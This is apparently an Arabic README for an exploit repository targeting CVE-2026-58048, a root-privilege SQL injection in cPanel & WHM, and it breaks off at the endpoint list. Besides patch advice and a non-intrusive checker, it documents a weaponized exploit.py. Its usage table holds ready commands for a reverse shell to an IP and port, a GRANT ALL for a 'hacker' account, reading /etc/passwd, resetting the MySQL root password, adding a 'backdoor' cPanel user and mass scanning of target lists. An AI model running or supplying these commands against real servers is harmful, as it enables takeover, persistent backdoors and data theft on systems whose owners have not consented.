
CVE‑2026‑58048 – مجموعة أدوات تنفيذ SQL بصلاحيات الجذر في cPanel

للاستخدام الأخلاقي فقط – اختبار أمني مصرح به
يوفر هذا المستودع أدوات لمتخصصي الأمن المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، وTCK 243/244 (تركيا)، وقوانين مماثلة في جميع أنحاء العالم.
نظرة عامة على الثغرة
CVE‑2026‑58048 هي ثغرة حقن SQL حرجة في إصدارات cPanel & WHM 11.x تسمح لمستخدم cPanel موثق بتنفيذ أوامر SQL عشوائية بصلاحيات جذر MySQL عبر وظيفة إعادة تسمية قاعدة البيانات.
كيف تعمل
- مطلوب وصول موثق – يجب أن يمتلك المهاجم حساب cPanel صالح (اسم مستخدم/كلمة مرور) على الخادم المستهدف.
- التلاعب بوضع SQL – يقوم الاستغلال بضبط جلسة MySQL على وضع
ANSI_QUOTES، مما يغير سلوك التحليل.
- حقن إعادة تسمية قاعدة البيانات – عند إعادة تسمية قاعدة بيانات، لا يتم تعقيم الاسم الجديد بشكل صحيح، مما يسمح للمهاجم بحقن عبارات SQL عشوائية.
- صلاحيات الجذر – لأن عملية إعادة التسمية تعمل بصلاحيات جذر MySQL، يتم تنفيذ SQL المحقون بأعلى صلاحيات قاعدة البيانات.
- التأثير – استيلاء كامل على قاعدة البيانات، تصعيد الصلاحيات، اختراق الخادم، سرقة البيانات، أبواب خلفية، وحركة جانبية. قم بالترقية فوراً!
الإصدارات المتأثرة
- cPanel & WHM 11.110 وما قبلها – معرضة للثغرة
- 11.111 – 11.118 – معرضة للثغرة
- 11.119 – 11.126 – معرضة للثغرة
- 11.127 – 11.134 – معرضة للثغرة
- 11.135 – 11.136 – معرضة للثغرة
- 11.137.x – معرضة للثغرة قبل
11.137.1.6
- 11.138.1.6 وما بعدها – مصححة
التصحيح
- قم بالترقية إلى cPanel & WHM 11.138.1.6 أو أحدث.
- إذا لم يكن الترقية ممكناً، قم بتعطيل عمليات إعادة تسمية MySQL لمستخدمي cPanel كحل مؤقت.
الأدوات
| الأداة | الغرض | المستخدم المستهدف |
|---|
exploit.py | مجموعة أدوات مسلحة كاملة مع reverse shell، استمرارية، UDF RCE، قراءة/كتابة الملفات، عمليات قاعدة البيانات، دعم البروكسي، والمسح الجماعي. | الفرق الحمراء / مختبري الاختراق المصرح لهم |
safecheck.py | فاحص ثغرات غير تدخلي يكتشف إصدار cPanel ويقيم المخاطر دون تنفيذ أي حمولة خبيثة. ينشئ تقارير مفصلة. | الفرق الزرقاء / مدققو الأمن |
مقارنة الميزات
| الميزة | exploit.py | safecheck.py |
|---|
| اكتشاف الثغرة | [+] | [+] |
| اكتشاف الإصدار | [+] | [+] |
| حقن SQL بصلاحيات جذر MySQL | [+] | [-] |
| Reverse shell | [+] | [-] |
| الاستمرارية (إنشاء مستخدم cPanel) | [+] | [-] |
| UDF RCE (تنفيذ الأوامر) | [+] | [-] |
| قراءة/كتابة الملفات | [+] | [-] |
| عمليات قاعدة البيانات (أي SQL) | [+] | [-] |
| دعم البروكسي | [+] | [+] |
| المسح الجماعي (متعدد الخيوط) | [+] | [-] |
| Shell تفاعلي | [+] | [-] |
| وضع غير تدخلي (آمن) | [-] | [+] |
| وضع مفصل/تصحيح | [+] | [+] |
| التحكم في التحقق من SSL | [+] | [+] |
| User‑Agent مخصص | [+] | [+] |
| تأخير الطلبات / إعادة المحاولة | [+] | [-] |
| إخراج JSON / تقرير | [+] | [+] |
| فحص إمكانية الوصول إلى نقطة النهاية | [-] | [+] |
| اكتشاف تسرب وضع SQL | [-] | [+] |
ملخص حالات الاستخدام
| السيناريو | الأداة الموصى بها |
|---|
| الفريق الأزرق – التحقق مما إذا كان تثبيت cPanel الخاص بك معرضاً للثغرة | safecheck.py |
| التدقيق الأمني – تقييم ثغرات غير تدخلي | safecheck.py |
| الفريق الأحمر – اختبار اختراق مصرح به مع استغلال كامل | exploit.py |
| Bug Bounty – اختبار الإفصاح المسؤول | safecheck.py |
| المسح الجماعي – فحص أهداف متعددة بحثاً عن الثغرة | exploit.py (الكشف فقط) |
| الاستجابة للحوادث – التحقق مما إذا كانت الأنظمة مخترقة | safecheck.py |
التثبيت
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt
requirements.txt
requests
urllib3
colorama
pymysql
المعاملات
معاملات exploit.py
| المعامل | الوصف |
|---|
-t, --target | عنوان URL المستهدف لـ cPanel (مثال: https://cpanel.example.com:2083) |
-l, --target-file | ملف يحتوي على قائمة الأهداف (واحد في كل سطر) للمسح الجماعي |
-u, --mysql-user | اسم مستخدم cPanel/MySQL |
-P, --mysql-pass | كلمة مرور cPanel/MySQL |
--mysql-port | منفذ MySQL (افتراضي: 3306) |
-p, --port | تجاوز منفذ cPanel (افتراضي من URL أو 2083) |
--threads | عدد الخيوط للأهداف المتعددة (افتراضي: 10) |
-o, --output | حفظ النتائج في ملف (هدف واحد) |
--log | ملف سجل للإخراج المفصل |
-v, --verbose | إخراج مفصل |
--proxy | بروكسي HTTP/HTTPS (مثال: http://127.0.0.1:8080) |
-ua, --user-agent | User‑Agent مخصص |
--no-keep-alive | عدم إبقاء الجلسة نشطة |
--delay | تأخير بين الطلبات (افتراضي: 2.0s) |
--max-retries | الحد الأقصى لإعادة المحاولة (افتراضي: 3) |
--ssl-verify | التحقق من شهادات SSL |
--cmd | الأمر المراد تنفيذه (بادئة sql: أو udf: للتحديد) |
--inject | SQL مخصص للحقن (يتجاوز الإجراءات الأخرى) |
--reverse-shell | IP:PORT للـ reverse shell (يستخدم UDF) |
--passwd | تغيير كلمة مرور جذر MySQL |
--adduser | إنشاء مستخدم cPanel (USER DOMAIN PASSWORD) |
--read | قراءة ملف عبر LOAD_FILE |
-i, --interactive | Shell تفاعلي بعد الاستغلال |
--verify | التحقق من نجاح الاستغلال بمحاولة تسجيل الدخول إلى MySQL |
--ping | Ping الهدف قبل الاستغلال |
معاملات safecheck.py
| المعامل | الوصف |
|---|
-t, --target | عنوان URL المستهدف لـ cPanel (مثال: https://cpanel.example.com:2083) |
-v, --verbose | إخراج مفصل |
--proxy | بروكسي HTTP/HTTPS (مثال: http://127.0.0.1:8080) |
-ua, --user-agent | User‑Agent مخصص |
--ssl-verify | التحقق من شهادات SSL |
--timeout | مهلة الطلب بالثواني (افتراضي: 10) |
--log | حفظ التقرير في ملف |
--json | إخراج النتائج بتنسيق JSON |
السيناريوهات
| # | السيناريو | الأمر |
|---|
| 1 | فحص سريع للثغرة | python safecheck.py -t https://cpanel.example.com:2083 |
| 2 | فحص مفصل مع تقرير | python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v |
| 3 | Reverse shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | تنفيذ SQL مخصص (جذر) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'" |
| 5 | قراءة ملف حساس | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | تغيير كلمة مرور جذر MySQL | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | إنشاء مستخدم cPanel جديد (استمرارية) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | Shell تفاعلي بعد الاستغلال | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | المسح الجماعي من ملف | python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json |
| 10 | استخدام بروكسي وUser‑Agent مخصص | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)" |
استخدام نقاط النهاية وAPI
يستخدم الاستغلال نقاط نهاية cPanel UAPI التالية: